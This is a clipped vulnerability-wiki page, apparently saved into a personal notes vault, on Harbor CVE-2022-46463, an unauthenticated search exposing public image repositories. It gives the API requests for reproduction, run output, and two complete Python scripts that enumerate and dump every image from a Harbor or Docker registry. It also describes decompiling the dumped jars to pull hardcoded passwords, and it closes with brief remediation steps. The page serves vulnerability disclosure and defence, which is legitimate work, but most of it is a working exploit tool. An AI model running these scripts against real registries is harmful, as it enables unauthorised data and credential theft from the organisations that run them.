windy/my-vault
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity
Files
df3e3eb3abf60bc6e53ea35b88f032ca30e9e430
my-vault/04_Archive/Inbox-Clippings/2024/12/Vulnerability-Wikidocs-basedocswebappHarbor-Pub.md
T

19 KiB
Raw Blame History

page-title, url, date
page-title url date
Vulnerability-Wiki/docs-base/docs/webapp/Harbor-公开镜像仓库未授权访问-CVE-2022-46463.md at master · Threekiii/Vulnerability-Wiki · GitHub https://github.com/Threekiii/Vulnerability-Wiki/blob/master/docs-base/docs/webapp/Harbor-%E5%85%AC%E5%BC%80%E9%95%9C%E5%83%8F%E4%BB%93%E5%BA%93%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE-CVE-2022-46463.md 2024-12-17 15:07:10

目仓库”中的“公开”，取消勾选

Harbor 公开镜像仓库未授权访问 CVE-2022-46463

漏洞描述

Harbor 是为企业用户设计的容器镜像仓库开源项目，包括了权限管理 （RBAC）、LDAP、审计、安全漏洞扫描、镜像验真、管理界面、自我注册、HA 等企业必需的功能。Harbor api search 允许未认证的用户搜索仓库内存在的公开仓库，若将私有业务镜像放置于公开仓库，可能存在信息泄漏风险。

此漏洞披露时为未授权漏洞，漏洞影响存在争议。实际上该漏洞是由于安全配置不当，允许任意用户通过 /api/search?q= 接口搜索到所有公开仓库，下载公开仓库中的镜像（而非直接访问私有仓库）。但如果将私有业务镜像放置于公开仓库，可能存在信息泄漏风险，利用场景：

  1. 下载包含敏感环境的公开镜像；
  2. 分析镜像，发现服务启动时进行了 jar 文件拷贝操作；
  3. 提取 jar 文件，反编译获取配置文件中硬编码的账号密码。

参考链接：

漏洞复现

获取 harbor 信息：

GET /api/systeminfo HTTP/1.1   # harbor 1.x
GET /api/v2.0/systeminfo HTTP/1.1   # harbor 2.x

获取全部 images 和 projects：

GET /api/search?q=/ HTTP/1.1
GET /api/v2.0/search?q=/ HTTP/1.1

获取 images 的 version：

GET /api/repositories/<PROJECT_NAME>/<IMAGE_NAME>/tags?detail=1 HTTP/1.1
GET /api/v2.0/projects/<PROJECT_NAME>/repositories/<IMAGE_NAME>/artifacts?with_tag=true HTTP/1.1

扩展场景：

  1. 通过 404tk/CVE-2022-46463 枚举公开镜像并 dump；
  2. 分析镜像，发现服务启动时进行了 jar 文件拷贝操作；
  3. 提取 jar 文件，反编译获取配置文件中硬编码的账号密码。

漏洞 POC

$ python3 harbor.py https://192.168.11.11 [+] grafana/grafana [+] library/openjdk

$ python3 harbor.py https://192.168.11.11 --dump library/openjdk:8 [+] Dumping library/openjdk:8 [+] Downloading : 001c52e26ad57e3b25b439ee0052f6692e5c0f2d5d982a00a8819ace5e521452 [+] Downloading : d9d4b9b6e964657da49910b495173d6c4f0d9bc47b3b44273cf82fd32723d165 [+] Downloading : 2068746827ec1b043b571e4788693eab7e9b2a95301176512791f8c317a2816a [+] Downloading : 9daef329d35093868ef75ac8b7c6eb407fa53abbcb3a264c218c2ec7bca716e6 [+] Downloading : d85151f15b6683b98f21c3827ac545188b1849efb14a1049710ebc4692de3dd5 [+] Downloading : 52a8c426d30b691c4f7e8c4b438901ddeb82ff80d4540d5bbd49986376d85cc9 [+] Downloading : 8754a66e005039a091c5ad0319f055be393c7123717b1f6fee8647c338ff3ceb

$ python3 harbor.py https://192.168.11.11 --dump_all [+] grafana/grafana [+] library/openjdk [+] Dumping grafana/grafana:latest [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 [+] Dumping library/openjdk:8 [+] Downloading : 001c52e26ad57e3b25b439ee0052f6692e5c0f2d5d982a00a8819ace5e521452 [+] Downloading : d9d4b9b6e964657da49910b495173d6c4f0d9bc47b3b44273cf82fd32723d165 [+] Downloading : 2068746827ec1b043b571e4788693eab7e9b2a95301176512791f8c317a2816a [+] Downloading : 9daef329d35093868ef75ac8b7c6eb407fa53abbcb3a264c218c2ec7bca716e6 [+] Downloading : d85151f15b6683b98f21c3827ac545188b1849efb14a1049710ebc4692de3dd5 [+] Downloading : 52a8c426d30b691c4f7e8c4b438901ddeb82ff80d4540d5bbd49986376d85cc9 [+] Downloading : 8754a66e005039a091c5ad0319f055be393c7123717b1f6fee8647c338ff3ceb

harbor.py

# -*- coding:utf-8 -*- import os import tarfile import argparse import requests

requests.packages.urllib3.disable_warnings()

CACHE_PATH = "./caches/" TIMEOUT = 5

def manageArgs(): parser = argparse.ArgumentParser() parser.add_argument("url", help="URL") parser.add_argument("--v2", dest='v2', default=False, help="API v2.0", action="store_true") action = parser.add_mutually_exclusive_group() action.add_argument("--dump", metavar="IMAGENAME", dest='dump', type=str, help="ImageName") action.add_argument("--tags", dest='tags', default=False, help="list tags", action="store_true") action.add_argument("--dump_all", dest='dump_all', help="dump all", action="store_true") args = parser.parse_args() return args

def createDir(directoryName): if "../" in directoryName: print("[-] Hacker!") return if not os.path.exists(f"{CACHE_PATH}{directoryName}"): os.makedirs(f"{CACHE_PATH}{directoryName}")

class HarborUnauth(): def getImages(self): url = "%s/api/search?q=" % self.target url_v2 = "%s/api/v2.0/search?q=/" % self.target try: req=requests.get(url,timeout=TIMEOUT,verify=False) if req.status_code != 200: self.v2 = True print("[*] API version used v2.0") req=requests.get(url_v2,timeout=TIMEOUT,verify=False) repos = req.json()["repository"] images = [] for repo in repos: print("[+]",repo["repository_name"]) if self.list_tags: self.getTags(repo["repository_name"]) images.append(repo["repository_name"]) return images except Exception as e: print("[-] Not vulnerability.") return None

def getTags(self,image\_name):
    results \= \[\]
    url \= "%s/api/repositories/%s/tags?detail=1"%(self.target,image\_name)
    if self.v2:
        info \= image\_name.split("/")
        if len(info) != 2:
            print("\[-\] Image name format error.")
            return results
        url \= "%s/api/v2.0/projects/%s/repositories/%s/artifacts?with\_tag=true"%(self.target,info\[0\],info\[1\])
    try:
        req \= requests.get(url,timeout\=TIMEOUT,verify\=False)
        tags \= req.json()
        for tag in tags:
            if "name" in tag.keys():
                tag\_name \= tag\["name"\]
            elif tag\["tags"\] \== None:
                tag\_name \= tag\["digest"\].split(":")\[1\]\[:6\]
            else:
                tag\_name \= tag\["tags"\]\[0\]\["name"\]
            if self.list\_tags:
                print(f"    \[\*\] {image\_name}:{tag\_name}")
            results.append({"image":image\_name,"tag":tag\_name,"sha256":tag\["digest"\]})
        if self.list\_tags:
            print()
    except Exception as e:
        print("\[-\] Get tags failed, maybe you should specify the --v2 argument.")
    return results

def getToken(self,image\_name):
    url \= f"{self.target}/service/token?scope=repository%3A{image\_name}%3Apull&service=harbor-registry"
    try:
        req\=requests.get(url,timeout\=TIMEOUT,verify\=False)
        auth\=req.json()\["token"\]
        return auth
    except Exception as e:
        return ""

def getBlob(self,image\_name,version,digest,header):
    url \= "%s/v2/%s/manifests/%s" % (self.target,image\_name,digest)
    try:
        req\=requests.get(url,headers\=header,timeout\=TIMEOUT,verify\=False)
        layers \= req.json()\["layers"\]
        createDir(image\_name.replace("/","\_")+"/"+version.replace(".","\_"))
        for l in layers:
            self.downloadSha(image\_name,version,l\["digest"\],header)
    except Exception as e:
        print("\[-\]",str(e))

def downloadSha(self,image\_name,version,sha256,header):
    dir \= image\_name.replace("/","\_")+"/"+version.replace(".","\_")
    name \= sha256.split(":")\[1\]
    filenamesha \= f"{CACHE\_PATH}{dir}/{name}.tar.gz"
    url \= f"{self.target}/v2/{image\_name}/blobs/{sha256}"
    try:
        req\=requests.get(url,headers\=header,timeout\=TIMEOUT,verify\=False)
        if req.status\_code \== 200:
            print(f"    \[+\] Downloading : {name}")
            with open(filenamesha, 'wb') as out:
                for bits in req.iter\_content():
                    out.write(bits)
            tf \= tarfile.open(filenamesha)
            tf.extractall(f"{CACHE\_PATH}{dir}/{name}")
            os.remove(filenamesha)
        else:
            print("    \[-\] Download fail:",req.status\_code)
    except Exception as e:
        print(e)

def check(self,args):
    self.target \= args.url.strip().strip("/")
    self.v2 \= args.v2
    self.list\_tags \= args.tags
    images \= \[\]
    if args.dump:
        images.append(args.dump)
    else:
        images \= self.getImages()
        if images != None and len(images)\==0:
            print("\[-\] 0 public images found.")
            return
        if not args.dump\_all:
            return
    for image in images:
        auth \= self.getToken(image)
        if auth \== "":
            print("\[-\] Get token failed.")
            return
        header \= {"Authorization": "Bearer "+auth}
        tags \= self.getTags(image)
        for tag in tags:
            print("\[+\] Dumping : %s:%s"%(tag\["image"\],tag\["tag"\]))
            self.getBlob(tag\["image"\],tag\["tag"\],tag\["sha256"\],header)

if __name__ == "__main__": args = manageArgs() m = HarborUnauth() m.check(args)

registry.py（Docker Registry API dump）

# -*- coding:utf-8 -*- import os import tarfile import argparse import requests

requests.packages.urllib3.disable_warnings()

CACHE_PATH = "./caches/" TIMEOUT = 5

def manageArgs(): parser = argparse.ArgumentParser() parser.add_argument("url", help="URL") action = parser.add_mutually_exclusive_group() action.add_argument("--dump", metavar="IMAGENAME", dest='dump', type=str, help="ImageName") action.add_argument("--tags", dest='tags', default=False, help="list tags", action="store_true") action.add_argument("--dump_all", dest='dump_all', help="dump all", action="store_true") args = parser.parse_args() return args

def createDir(directoryName): if "../" in directoryName: print("[-] Hacker!") return if not os.path.exists(f"{CACHE_PATH}{directoryName}"): os.makedirs(f"{CACHE_PATH}{directoryName}")

class RegistryUnauth(): def getImages(self): url = "%s/v2/_catalog" % self.target try: req=requests.get(url,timeout=TIMEOUT,verify=False) repos = req.json()["repositories"] images = [] for repo in repos: print("[+]",repo) if self.list_tags: self.getTags(repo) images.append(repo) return images except Exception as e: print("[-] Not vulnerability.") return None

def getTags(self,image\_name):
    results \= \[\]
    url \= "%s/v2/%s/tags/list"%(self.target,image\_name)
    try:
        req \= requests.get(url,timeout\=TIMEOUT,verify\=False)
        tags \= req.json()\["tags"\]
        for tag in tags:
            if self.list\_tags:
                print(f"    \[\*\] {image\_name}:{tag}")
            results.append({"image":image\_name,"tag":tag})
        if self.list\_tags:
            print()
    except Exception as e:
        print("\[-\] Get tags failed,", str(e))
    return results

def getBlob(self,image\_name,tag):
    url \= "%s/v2/%s/manifests/%s" % (self.target,image\_name,tag)
    try:
        req\=requests.get(url,timeout\=TIMEOUT,verify\=False)
        layers \= req.json()\["fsLayers"\]
        createDir(image\_name.replace("/","\_")+"/"+tag.replace(".","\_"))
        for l in layers:
            self.downloadSha(image\_name,tag,l\["blobSum"\])
    except Exception as e:
        print("\[-\]",str(e))

def downloadSha(self,image\_name,version,sha256):
    dir \= image\_name.replace("/","\_")+"/"+version.replace(".","\_")
    name \= sha256.split(":")\[1\]
    filenamesha \= f"{CACHE\_PATH}{dir}/{name}.tar.gz"
    url \= f"{self.target}/v2/{image\_name}/blobs/{sha256}"
    try:
        req\=requests.get(url,timeout\=TIMEOUT,verify\=False)
        if req.status\_code \== 200:
            print(f"    \[+\] Downloading : {name}")
            with open(filenamesha, 'wb') as out:
                for bits in req.iter\_content():
                    out.write(bits)
            tf \= tarfile.open(filenamesha)
            tf.extractall(f"{CACHE\_PATH}{dir}/{name}")
            os.remove(filenamesha)
        else:
            print("    \[-\] Download fail:",req.status\_code)
    except Exception as e:
        print(e)

def check(self,args):
    self.target \= args.url.strip().strip("/")
    self.list\_tags \= args.tags
    images \= \[\]
    if args.dump:
        images.append(args.dump)
    else:
        images \= self.getImages()
        if images != None and len(images)\==0:
            print("\[-\] 0 public images found.")
            return
        if not args.dump\_all:
            return
    for image in images:
        tags \= self.getTags(image)
        for tag in tags:
            print("\[+\] Dumping : %s:%s"%(tag\["image"\],tag\["tag"\]))
            self.getBlob(tag\["image"\],tag\["tag"\])

if __name__ == "__main__": args = manageArgs() m = RegistryUnauth() m.check(args)

漏洞修复

  1. 限制公开访问，进入“项目设置”→“配置管理”→“项目仓库”中的“公开”，取消勾选。
  2. 在业务允许的前提下，将系统部署在内网，减少外部暴露面。
Reference in New Issue View Git Blame Copy Permalink